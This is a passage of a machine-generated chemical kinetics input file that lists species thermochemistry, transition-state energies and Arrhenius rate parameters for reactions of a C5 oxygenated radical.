HinderedRotor(inertia=(0.1508,'amu*angstrom^2'), symmetry=1, barrier=(7.92805,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 4,
opticalIsomers = 1,
molecularWeight = (97.092,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.13674,0.06869,-9.10142e-05,6.09357e-08,-1.39351e-11,42071.7,29.6226], Tmin=(100,'K'), Tmax=(650.021,'K')), NASAPolynomial(coeffs=[9.89952,0.0244611,-1.13214e-05,2.14554e-09,-1.48305e-13,40727.7,-10.4535], Tmin=(650.021,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(348.99,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(266.063,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-(Cds-O2d)CsHH) + group(Cds-CdsCsH) + group(Cds-OdCsH) + group(Cds-CdsHH) + radical(Cds_S) + radical(CCCJ=O) + radical(Cds_P)"""),
)
species(
label = 'C=C=C(O)CC=O(28254)',
structure = SMILES('C=C=C(O)CC=O'),
E0 = (-167.119,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (98.0999,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.925474,0.0555781,-2.7854e-05,-7.4093e-09,7.14416e-12,-19978.7,23.6218], Tmin=(100,'K'), Tmax=(1055.31,'K')), NASAPolynomial(coeffs=[17.3829,0.0173284,-7.78406e-06,1.57849e-09,-1.17716e-13,-24795.8,-63.028], Tmin=(1055.31,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-167.119,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(295.164,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-(Cds-Cd)H) + group(Cs-(Cds-O2d)(Cds-Cds)HH) + group(Cds-CdsCsOs) + group(Cds-OdCsH) + group(Cds-CdsHH) + group(Cdd-CdsCds)"""),
)
species(
label = 'C=CC(O)C=C=O(14307)',
structure = SMILES('C=CC(O)C=C=O'),
E0 = (-179.664,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (98.0999,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.844445,0.0739299,-0.000103028,8.17549e-08,-2.61868e-11,-21499.2,24.5154], Tmin=(100,'K'), Tmax=(820.207,'K')), NASAPolynomial(coeffs=[9.31907,0.0285719,-1.2709e-05,2.35482e-09,-1.60206e-13,-22753.9,-13.864], Tmin=(820.207,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-179.664,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(295.164,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cdd-O2d)CsOsH) + group(Cds-CdsCsH) + group(Cds-(Cdd-O2d)CsH) + group(Cds-CdsHH)"""),
)
species(
label = '[CH2]C(=CO)C[C]=O(14236)',
structure = SMILES('[CH2]C(=CO)C[C]=O'),
E0 = (-29.5266,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([3615,1277.5,1000,1855,455,950,350,440,435,1725,2750,2850,1437.5,1250,1305,750,350,3000,3100,440,815,1455,1000,3010,987.5,1337.5,450,1655,180],'cm^-1')),
HinderedRotor(inertia=(0.954771,'amu*angstrom^2'), symmetry=1, barrier=(21.9521,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.952009,'amu*angstrom^2'), symmetry=1, barrier=(21.8886,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.951705,'amu*angstrom^2'), symmetry=1, barrier=(21.8816,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.953727,'amu*angstrom^2'), symmetry=1, barrier=(21.9281,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (98.0999,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.636097,0.057278,-1.55871e-05,-3.36923e-08,2.00748e-11,-3415,25.454], Tmin=(100,'K'), Tmax=(963.153,'K')), NASAPolynomial(coeffs=[22.0242,0.00863463,-2.40919e-06,5.0148e-10,-4.37789e-14,-9398.75,-86.6034], Tmin=(963.153,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-29.5266,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(291.007,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-(Cds-Cd)H) + group(Cs-(Cds-O2d)(Cds-Cds)HH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsCs) + group(Cds-CdsOsH) + group(Cds-OdCsH) + radical(CCCJ=O) + radical(Allyl_P)"""),
)
species(
label = 'C=[C]C(O)C(=C)[O](14497)',
structure = SMILES('C=[C]C(O)C(=C)[O]'),
E0 = (72.0046,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([1685,370,2950,3000,3050,3100,1330,1430,900,1050,1000,1050,1600,1700,3615,1277.5,1000,350,440,435,1725,1380,1390,370,380,2900,435,418.502,418.788,419.084],'cm^-1')),
HinderedRotor(inertia=(0.0748184,'amu*angstrom^2'), symmetry=1, barrier=(9.33062,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.0751913,'amu*angstrom^2'), symmetry=1, barrier=(9.33013,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.0749943,'amu*angstrom^2'), symmetry=1, barrier=(9.32591,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (98.0999,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[0.910647,0.0639176,-6.36516e-05,3.26891e-08,-6.65416e-12,8774.8,29.0222], Tmin=(100,'K'), Tmax=(1193.58,'K')), NASAPolynomial(coeffs=[14.2257,0.0192951,-7.57309e-06,1.36659e-09,-9.3486e-14,5596.3,-37.5713], Tmin=(1193.58,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(72.0046,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(295.164,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(O2s-(Cds-Cd)H) + group(Cs-(Cds-Cds)(Cds-Cds)OsH) + group(Cds-CdsCsOs) + group(Cds-CdsCsH) + group(Cds-CdsHH) + group(Cds-CdsHH) + radical(Cds_S) + radical(C=C(C)OJ)"""),
)
species(
label = 'C=C1C(=O)CC1O(28255)',
structure = SMILES('C=C1C(=O)CC1O'),
E0 = (-184.969,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (98.0999,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.90253,0.0350968,1.11949e-05,-3.41099e-08,1.35279e-11,-22161.7,22.194], Tmin=(100,'K'), Tmax=(1070.78,'K')), NASAPolynomial(coeffs=[11.2595,0.0256909,-1.14171e-05,2.25015e-09,-1.63449e-13,-25630.1,-30.4266], Tmin=(1070.78,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-184.969,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(303.478,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-(Cds-O2d)CsHH) + group(Cd-CdCs(CO)) + group(Cds-O2d(Cds-Cds)Cs) + group(Cds-CdsHH) + ring(Cyclobutane)"""),
)
species(
label = '[C-]#[O+](374)',
structure = SMILES('[C-]#[O+]'),
E0 = (299.89,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([180],'cm^-1')),
],
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (28.0101,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[3.33667,0.00896487,-2.66756e-05,3.61071e-08,-1.57199e-11,36069.2,-1.20266], Tmin=(100,'K'), Tmax=(865.594,'K')), NASAPolynomial(coeffs=[-0.394107,0.0117562,-6.47408e-06,1.26375e-09,-8.67562e-14,37256.3,19.3844], Tmin=(865.594,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(299.89,'kJ/mol'), Cp0=(29.1007,'J/(mol*K)'), CpInf=(37.4151,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + group(CsJ2_singlet-CsH)"""),
)
species(
label = '[CH2]C(O)[C]=C(5788)',
structure = SMILES('[CH2]C(O)[C]=C'),
E0 = (260.102,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([3000,3100,440,815,1455,1000,2950,3100,1380,975,1025,1650,3615,1277.5,1000,1685,370,1380,1390,370,380,2900,435,321.366],'cm^-1')),
HinderedRotor(inertia=(0.0016324,'amu*angstrom^2'), symmetry=1, barrier=(0.119627,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.166096,'amu*angstrom^2'), symmetry=1, barrier=(12.1709,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.166087,'amu*angstrom^2'), symmetry=1, barrier=(12.171,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (70.0898,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.6858,0.0455507,-3.94521e-05,1.7704e-08,-3.16924e-12,31370.9,22.7623], Tmin=(100,'K'), Tmax=(1345.51,'K')), NASAPolynomial(coeffs=[11.8503,0.0153332,-5.76502e-06,1.01282e-09,-6.79554e-14,28635.6,-29.2919], Tmin=(1345.51,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(260.102,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(245.277,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-CsHHH) + group(Cds-CdsCsH) + group(Cds-CdsHH) + radical(Cds_S) + radical(CJCO)"""),
)
species(
label = '[C]=C(584)',
structure = SMILES('[C]=C'),
E0 = (600.251,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([2950,3100,1380,975,1025,1650],'cm^-1')),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (26.0373,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[3.94093,-0.00117598,1.80376e-05,-2.01208e-08,6.96659e-12,72197.9,5.25681], Tmin=(100,'K'), Tmax=(976.125,'K')), NASAPolynomial(coeffs=[3.93016,0.00536132,-1.98619e-06,3.69549e-10,-2.66221e-14,71890.7,3.724], Tmin=(976.125,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(600.251,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(83.1447,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(Cds-CdsHH) + group(Cds-CdsHH) + radical(CdCdJ2_triplet)"""),
)
species(
label = 'O=[C]C[CH]O(4550)',
structure = SMILES('O=[C]C[CH]O'),
E0 = (-22.8922,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([1855,455,950,2750,2850,1437.5,1250,1305,750,350,3615,1277.5,1000,3025,407.5,1350,352.5,180],'cm^-1')),
HinderedRotor(inertia=(0.241088,'amu*angstrom^2'), symmetry=1, barrier=(5.54309,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.240987,'amu*angstrom^2'), symmetry=1, barrier=(5.54075,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.240946,'amu*angstrom^2'), symmetry=1, barrier=(5.53982,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (72.0627,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.825,0.054389,-9.35807e-05,8.42472e-08,-2.86794e-11,-2681.19,20.2696], Tmin=(100,'K'), Tmax=(890.642,'K')), NASAPolynomial(coeffs=[6.28986,0.0191611,-8.69207e-06,1.575e-09,-1.03601e-13,-2874.61,2.62531], Tmin=(890.642,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-22.8922,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(195.39,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsH) + group(Cs-(Cds-O2d)CsHH) + group(Cs-CsOsHH) + group(Cds-OdCsH) + radical(CCCJ=O) + radical(CCsJOH)"""),
)
species(
label = '[C]=O(1149)',
structure = SMILES('[C]=O'),
E0 = (440.031,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([4000],'cm^-1')),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (28.0101,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[4.66064,-0.00539267,9.3647e-06,-6.04676e-09,1.10218e-12,52863.3,2.60381], Tmin=(100,'K'), Tmax=(2084.48,'K')), NASAPolynomial(coeffs=[9.43361,-0.00191483,-2.23152e-06,5.70335e-10,-4.024e-14,48128.1,-30.5142], Tmin=(2084.48,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(440.031,'kJ/mol'), Cp0=(29.1007,'J/(mol*K)'), CpInf=(37.4151,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(Cds-OdHH) + radical(CdCdJ2_triplet)"""),
)
species(
label = 'N2',
structure = SMILES('N#N'),
E0 = (-8.64289,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (28.0135,'amu'),
collisionModel = TransportData(shapeIndex=1, epsilon=(810.913,'J/mol'), sigma=(3.621,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(1.76,'angstroms^3'), rotrelaxcollnum=4.0, comment="""GRI-Mech"""),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[3.53101,-0.000123661,-5.02999e-07,2.43531e-09,-1.40881e-12,-1046.98,2.96747], Tmin=(200,'K'), Tmax=(1000,'K')), NASAPolynomial(coeffs=[2.95258,0.0013969,-4.92632e-07,7.8601e-11,-4.60755e-15,-923.949,5.87189], Tmin=(1000,'K'), Tmax=(6000,'K'))], Tmin=(200,'K'), Tmax=(6000,'K'), E0=(-8.64289,'kJ/mol'), Cp0=(29.1007,'J/(mol*K)'), CpInf=(37.4151,'J/(mol*K)'), label="""N2""", comment="""Thermo library: primaryThermoLibrary"""),
)
species(
label = 'Ne',
structure = SMILES('[Ne]'),
E0 = (-6.19738,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (20.1797,'amu'),
collisionModel = TransportData(shapeIndex=0, epsilon=(1235.53,'J/mol'), sigma=(3.758e-10,'m'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0, comment="""Epsilon & sigma estimated with fixed Lennard Jones Parameters. This is the fallback method! Try improving transport databases!"""),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[2.5,0,0,0,0,-745.375,3.35532], Tmin=(200,'K'), Tmax=(1000,'K')), NASAPolynomial(coeffs=[2.5,0,0,0,0,-745.375,3.35532], Tmin=(1000,'K'), Tmax=(6000,'K'))], Tmin=(200,'K'), Tmax=(6000,'K'), E0=(-6.19738,'kJ/mol'), Cp0=(20.7862,'J/(mol*K)'), CpInf=(20.7862,'J/(mol*K)'), label="""Ne""", comment="""Thermo library: primaryThermoLibrary"""),
)
species(
label = 'He',
structure = SMILES('[He]'),
E0 = (-6.19738,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (4.0026,'amu'),
collisionModel = TransportData(shapeIndex=0, epsilon=(84.8076,'J/mol'), sigma=(2.576,'angstroms'), dipoleMoment=(0,'De'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0.0, comment="""NOx2018"""),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[2.5,0,0,0,0,-745.375,0.928724], Tmin=(200,'K'), Tmax=(1000,'K')), NASAPolynomial(coeffs=[2.5,0,0,0,0,-745.375,0.928724], Tmin=(1000,'K'), Tmax=(6000,'K'))], Tmin=(200,'K'), Tmax=(6000,'K'), E0=(-6.19738,'kJ/mol'), Cp0=(20.7862,'J/(mol*K)'), CpInf=(20.7862,'J/(mol*K)'), label="""He""", comment="""Thermo library: primaryThermoLibrary"""),
)
species(
label = 'Ar',
structure = SMILES('[Ar]'),
E0 = (-6.19738,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (39.348,'amu'),
collisionModel = TransportData(shapeIndex=0, epsilon=(1134.93,'J/mol'), sigma=(3.33,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0.0, comment="""GRI-Mech"""),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[2.5,0,0,0,0,-745.375,4.37967], Tmin=(200,'K'), Tmax=(1000,'K')), NASAPolynomial(coeffs=[2.5,0,0,0,0,-745.375,4.37967], Tmin=(1000,'K'), Tmax=(6000,'K'))], Tmin=(200,'K'), Tmax=(6000,'K'), E0=(-6.19738,'kJ/mol'), Cp0=(20.7862,'J/(mol*K)'), CpInf=(20.7862,'J/(mol*K)'), label="""Ar""", comment="""Thermo library: primaryThermoLibrary"""),
)
transitionState(
label = 'TS1',
E0 = (101.894,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS2',
E0 = (217.072,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS3',
E0 = (280.975,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS4',
E0 = (254.958,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS5',
E0 = (156.949,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS6',
E0 = (172.492,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS7',
E0 = (235.795,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS8',
E0 = (284.476,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS9',
E0 = (206.494,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS10',
E0 = (216.585,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS11',
E0 = (243.871,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS12',
E0 = (243.871,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS13',
E0 = (218.03,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS14',
E0 = (299.688,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS15',
E0 = (232.057,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS16',
E0 = (448.636,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS17',
E0 = (551.155,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS18',
E0 = (347.536,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS19',
E0 = (417.383,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS20',
E0 = (513.601,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS21',
E0 = (560.795,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS22',
E0 = (180.141,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS23',
E0 = (190.863,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS24',
E0 = (196.369,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS25',
E0 = (347.495,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS26',
E0 = (110.179,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS27',
E0 = (559.993,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS28',
E0 = (611.675,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
transitionState(
label = 'TS29',
E0 = (734.449,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
)
reaction(
label = 'reaction1',
reactants = ['C=[C]C(O)C[C]=O(14295)'],
products = ['C=C=O(598)', 'C=C=CO(12571)'],
transitionState = 'TS1',
kinetics = Arrhenius(A=(5e+12,'s^-1'), n=0, Ea=(0,'kJ/mol'), T0=(1,'K'), Tmin=(300,'K'), Tmax=(1500,'K'), comment="""Exact match found for rate rule [RJJ]
Euclidian distance = 0
family: 1,4_Linear_birad_scission"""),
)
reaction(
label = 'reaction2',
reactants = ['H(8)', 'C=C=C(O)C[C]=O(28246)'],
products = ['C=[C]C(O)C[C]=O(14295)'],
transitionState = 'TS2',
kinetics = Arrhenius(A=(169.619,'m^3/(mol*s)'), n=1.605, Ea=(12.4249,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [Cds_Ca;HJ]
Euclidian distance = 0
family: R_Addition_MultipleBond"""),
)
reaction(
label = 'reaction3',
reactants = ['H(8)', 'C=[C]C(O)C=C=O(28247)'],
products = ['C=[C]C(O)C[C]=O(14295)'],
transitionState = 'TS3',
kinetics = Arrhenius(A=(3.82e-16,'cm^3/(molecule*s)'), n=1.61, Ea=(10.992,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [Cds_Ck;HJ] for rate rule [Cds-CsH_Ck;HJ]
Euclidian distance = 1.0
family: R_Addition_MultipleBond"""),
)
reaction(
label = 'reaction4',
reactants = ['H(8)', 'C#CC(O)C[C]=O(28248)'],
products = ['C=[C]C(O)C[C]=O(14295)'],
transitionState = 'TS4',
kinetics = Arrhenius(A=(1.255e+11,'cm^3/(mol*s)'), n=1.005, Ea=(13.1503,'kJ/mol'), T0=(1,'K'), comment="""From training reaction 138 used for Ct-H_Ct-Cs;HJ
Exact match found for rate rule [Ct-H_Ct-Cs;HJ]
Euclidian distance = 0
family: R_Addition_MultipleBond"""),
)
reaction(
label = 'reaction5',
reactants = ['[CH2][C]=O(601)', 'C=C=CO(12571)'],
products = ['C=[C]C(O)C[C]=O(14295)'],
transitionState = 'TS5',
kinetics = Arrhenius(A=(0.00401797,'m^3/(mol*s)'), n=2.41733, Ea=(22.1495,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [Cds_Ca;CJ]
Euclidian distance = 0
family: R_Addition_MultipleBond"""),
)
reaction(
label = 'reaction6',
reactants = ['C=C=O(598)', '[CH2][C]=CO(18753)'],
products = ['C=[C]C(O)C[C]=O(14295)'],
transitionState = 'TS6',
kinetics = Arrhenius(A=(0.0561524,'m^3/(mol*s)'), n=2.47384, Ea=(45.2178,'kJ/mol'), T0=(1,'K'), Tmin=(303.03,'K'), Tmax=(2000,'K'), comment="""Estimated using an average for rate rule [Cds-HH_Ck;CJ]
Euclidian distance = 0
family: R_Addition_MultipleBond"""),
)
reaction(
label = 'reaction7',
reactants = ['OH(D)(132)', 'C=C=CC[C]=O(17857)'],
products = ['C=[C]C(O)C[C]=O(14295)'],
transitionState = 'TS7',
kinetics = Arrhenius(A=(986500,'cm^3/(mol*s)'), n=2.037, Ea=(0,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [Cds_Ca;OJ_pri] for rate rule [Cds-CsH_Ca;OJ_pri]
Euclidian distance = 1.0
family: R_Addition_MultipleBond
Ea raised from -6.0 to 0 kJ/mol."""),
)
reaction(
label = 'reaction8',
reactants = ['C=[C]C(O)C[C]=O(14295)'],
products = ['[CH2]C=C(O)C[C]=O(14292)'],
transitionState = 'TS8',
kinetics = Arrhenius(A=(3.677e+10,'s^-1'), n=0.839, Ea=(182.581,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [R2H_S;Cd_rad_out_Cd;Cs_H_out_noH] for rate rule [R2H_S;Cd_rad_out_Cd;Cs_H_out_NDMustO]
Euclidian distance = 2.0
family: intra_H_migration"""),
)
reaction(
label = 'reaction9',
reactants = ['C=[C]C(O)C[C]=O(14295)'],
products = ['C=[C]C(O)C=C[O](28249)'],
transitionState = 'TS9',
kinetics = Arrhenius(A=(2.4e-16,'s^-1'), n=7.98, Ea=(104.6,'kJ/mol'), T0=(1,'K'), Tmin=(300,'K'), Tmax=(2500,'K'), comment="""Estimated using template [R2H_S;Y_rad_out;Cs_H_out_H/(NonDeC/O)] for rate rule [R2H_S;CO_rad_out;Cs_H_out_H/(NonDeC/O)]
Euclidian distance = 1.0
Multiplied by reaction path degeneracy 2.0
family: intra_H_migration"""),
)
reaction(
label = 'reaction10',
reactants = ['[CH]=CC(O)C[C]=O(14298)'],
products = ['C=[C]C(O)C[C]=O(14295)'],
transitionState = 'TS10',
kinetics = Arrhenius(A=(1.08e+06,'s^-1'), n=1.99, Ea=(105.437,'kJ/mol'), T0=(1,'K'), comment="""From training reaction 17 used for R2H_D;Cd_rad_out_singleH;Cd_H_out_singleNd
Exact match found for rate rule [R2H_D;Cd_rad_out_singleH;Cd_H_out_singleNd]
Euclidian distance = 0
family: intra_H_migration"""),
)
reaction(
label = 'reaction12',
reactants = ['C=[C]C(O)C[C]=O(14295)'],
products = ['C=CC([O])C[C]=O(12767)'],
transitionState = 'TS11',
kinetics = Arrhenius(A=(2.4115e+09,'s^-1'), n=1.00333, Ea=(141.977,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [R3H_SS_Cs;Cd_rad_out_Cd;XH_out] for rate rule [R3H_SS_Cs;Cd_rad_out_Cd;O_H_out]
Euclidian distance = 1.0
family: intra_H_migration"""),
)
reaction(
label = 'reaction12',
reactants = ['C=[C]C(O)C[C]=O(14295)'],
products = ['C=CC(O)[CH][C]=O(14294)'],
transitionState = 'TS12',
kinetics = Arrhenius(A=(4.823e+09,'s^-1'), n=1.00333, Ea=(141.977,'kJ/mol'), T0=(1,'K'), comment="""Estimated using an average for rate rule [R3H_SS_Cs;Cd_rad_out_Cd;XH_out]
Euclidian distance = 0
Multiplied by reaction path degeneracy 2.0
family: intra_H_migration"""),
)
reaction(
label = 'reaction13',
reactants = ['C=[C]C(O)C[C]=O(14295)'],
products = ['[CH2][C]=C(O)CC=O(28250)'],
transitionState = 'TS13',
kinetics = Arrhenius(A=(285601,'s^-1'), n=2.01653, Ea=(116.136,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [R3H_SS_Cs;Y_rad_out;XH_out] for rate rule [R3H_SS_Cs;CO_rad_out;XH_out]
Euclidian distance = 1.0
family: intra_H_migration"""),
)
reaction(
label = 'reaction14',
reactants = ['C=[C]C([O])CC=O(14297)'],
products = ['C=[C]C(O)C[C]=O(14295)'],
transitionState = 'TS14',
kinetics = Arrhenius(A=(1.75172e+06,'s^-1'), n=1.80068, Ea=(127.394,'kJ/mol'), T0=(1,'K'), comment="""Estimated using template [R4H_SSS;O_rad_out;XH_out] for rate rule [R4H_SSS;O_rad_out;CO_H_out]
Euclidian distance = 1.0
family: intra_H_migration"""),
)
reaction(
label = 'reaction15',
reactants = ['C#CC(O)C[CH][O](23564)'],
products = ['C=[C]C(O)C[C]=O(14295)'],
transitionState = 'TS15',
